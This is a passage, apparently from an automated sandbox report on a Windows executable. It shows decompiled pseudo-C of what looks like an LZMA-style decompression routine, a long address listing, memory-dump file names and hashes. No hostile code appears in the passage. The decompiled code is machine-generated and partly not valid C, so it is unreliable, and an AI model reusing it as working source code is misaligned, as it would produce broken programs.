								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x004062f4
0x004062f4
0x004062f8
0x004063af
0x004063b2
0x004063be
0x0040629f
0x0040629f
0x004062a2
0x00406614
0x00406614
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00000000
0x00406665
0x00406665
0x00406669
0x00406818
0x00000000
0x00406818
0x00406675
0x0040667c
0x00406684
0x00406687
0x00000000
0x00406687
0x004062fe
0x00406302
0x00406843
0x00406843
0x00406846
0x0040684a
0x0040684a
0x00406308
0x0040630e
0x00406311
0x00406315
0x00406318
0x0040631c
0x004067e2
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00000000
0x0040683f
0x00406322
0x00406325
0x0040632b
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00406356
0x00406356
0x00406356
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00000000
0x00406035
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00000000
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00000000
0x00000000
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00000000
0x00406380
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x00000000
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00000000
0x00406611
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00000000
0x00406784
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00000000
0x004065d9
0x004065d7
0x0040680c
0x00000000
0x00000000
0x00405e3b

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5c1a6d88fbf3736e083e35a306841f5f7567a3339756a66f66144e6d7487cc4
Instruction ID: c975835c63a62796fcb7e955cfffcd5e326eaa1512836fcadbce1623bdfadb04
Opcode Fuzzy Hash: a5c1a6d88fbf3736e083e35a306841f5f7567a3339756a66f66144e6d7487cc4
Instruction Fuzzy Hash: AF816671D00229CFDF24CFA8C8447AEBBB1FB44305F25816AD856BB281C7789A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00405DF9, Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00405DF9(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M0040684B))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8);
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12); // executed
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
